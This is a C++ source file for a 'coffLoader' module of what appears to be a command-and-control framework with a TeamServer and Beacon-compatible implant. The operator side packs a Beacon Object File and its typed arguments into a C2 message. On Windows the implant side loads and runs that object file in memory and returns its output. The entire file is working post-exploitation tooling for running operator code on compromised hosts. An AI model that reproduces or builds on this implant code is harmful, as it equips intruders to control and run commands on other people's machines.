#include "CoffLoader.hpp"

#include <cstring>
#include <array>
#include <filesystem>

#ifdef _WIN32
#include <windows.h>
#include "CoffPacker.hpp"
#endif

#include "Common.hpp"

extern "C" 
{
#ifdef _WIN32
#include "COFFLoader.h"
#include "beacon_compatibility.h"
#endif
}

using namespace std;


constexpr std::string_view moduleName = "coffLoader";
constexpr unsigned long long moduleHash = djb2(moduleName);

namespace
{
    constexpr int ERROR_COFF_EXECUTION = 1;
}


#ifdef _WIN32

__declspec(dllexport) CoffLoader* A_CoffLoaderConstructor() 
{
    return new CoffLoader();
}

#else

__attribute__((visibility("default"))) CoffLoader* CoffConstructor() 
{
    return new CoffLoader();
}

#endif

CoffLoader::CoffLoader()
#ifdef BUILD_TEAMSERVER
    : ModuleCmd(std::string(moduleName), moduleHash)
#else
    : ModuleCmd("", moduleHash)
#endif
{
}

CoffLoader::~CoffLoader()
{
}

std::string CoffLoader::getInfo()
{
    std::string info;
#ifdef BUILD_TEAMSERVER
    info += "coffLoader:\n";
    info += "Load a TeamServer-managed .o COFF/BOF tool artifact and execute it.\n";
    info += "Coff take packed argument as entry, you get to specify the type as a string of [Z,z,s,i] for wstring, string, short, int.\n";
    info += "exemple:\n";
    info += "- coffLoader dir.x64.o go Zs c:\\ 0\n";
    info += "- coffLoader whoami.x64.o go\n";
#endif
    return info;
}

int CoffLoader::init(std::vector<std::string>& splitedCmd, C2Message& c2Message)
{
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS)
    if (splitedCmd.size() < 3)
    {
        c2Message.set_returnvalue(getInfo());
        return -1;
    }

    c2Message.set_instruction(splitedCmd[0]);

    c2Message.set_cmd(splitedCmd[2]);
    if (splitedCmd.size() > 3)
    {
        string arg;
        for (int idx = 3; idx < splitedCmd.size(); idx++) 
        {
            if(!arg.empty())
                arg+=" ";
            arg+=splitedCmd[idx];
        }

        // make a check

        c2Message.set_args(arg);
    }
    else
        c2Message.set_args("");

    string inputFile = splitedCmd[1];
    std::ifstream input(inputFile, std::ios::binary);
    if (input.is_open()) 
    {
        std::string payload(std::istreambuf_iterator<char>(input), {});

        c2Message.set_instruction(splitedCmd[0]);

        c2Message.set_inputfile(inputFile);
        c2Message.set_data(payload.data(), payload.size());
    }
    else 
    {
        std::string msg = "Couldn't open file.\n";
        c2Message.set_returnvalue(msg);
        return -1;
    }
#endif

    return 0;
}


int CoffLoader::process(C2Message &c2Message, C2Message &c2RetMessage)
{
    std::string payload = c2Message.data();
    std::string functionName = c2Message.cmd();
    std::string args = c2Message.args();

    std::string result = coffLoader(payload, functionName, args);

    c2RetMessage.set_instruction(c2RetMessage.instruction());
    if (result.find("Failed") != std::string::npos)
    {
        c2RetMessage.set_errorCode(ERROR_COFF_EXECUTION);
    }
    c2RetMessage.set_returnvalue(result);

    return 0;
}

int CoffLoader::errorCodeToMsg(const C2Message &c2RetMessage, std::string &errorMsg)
{
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
    if (c2RetMessage.errorCode() > 0)
    {
        errorMsg = c2RetMessage.returnvalue();
    }
#endif
    return 0;
}


std::string CoffLoader::coffLoader(std::string& payload, std::string& functionName, std::string& args)
{
    std::string result;

#ifdef _WIN32
    char* coff_data = payload.data();
    uint32_t filesize = payload.size();
    char* functionname = functionName.data();

    // Pack arguments, done on the windows box to get the formating right
    std::string argsCompressed;
    if(!args.empty())
    {
        std::vector<std::string> splitedList;
        splitList(args, " ", splitedList);

        std::string format = splitedList[0];   

        string argToPack;
        for (int idx = 1; idx < splitedList.size(); idx++) 
        {
            if(!argToPack.empty())
                argToPack+=" ";
            argToPack+=splitedList[idx];
        }

        CoffPacker coffPacker;
        int res = coffPacker.process(argToPack, format, argsCompressed);
        if(res!=0)
        {
            result += "Failed to pack th arguments.\n";
            return result;
        }
    }

    int argumentSize = 0;
    unsigned char* arguments = unhexlify((unsigned char*)argsCompressed.data(), &argumentSize);

    int checkcode = RunCOFF(functionname, (unsigned char*)coff_data, filesize, arguments, argumentSize);
    if (checkcode == 0) 
    {
        char* outdata = NULL;
        int outdataSize = 0;

        outdata = BeaconGetOutputData(&outdataSize);
        if (outdata != NULL) 
        {
            result += outdata;
        }
    }
    else 
    {
        result += "Failed to run/parse the COFF file\n";
    }
#endif

    return result;
}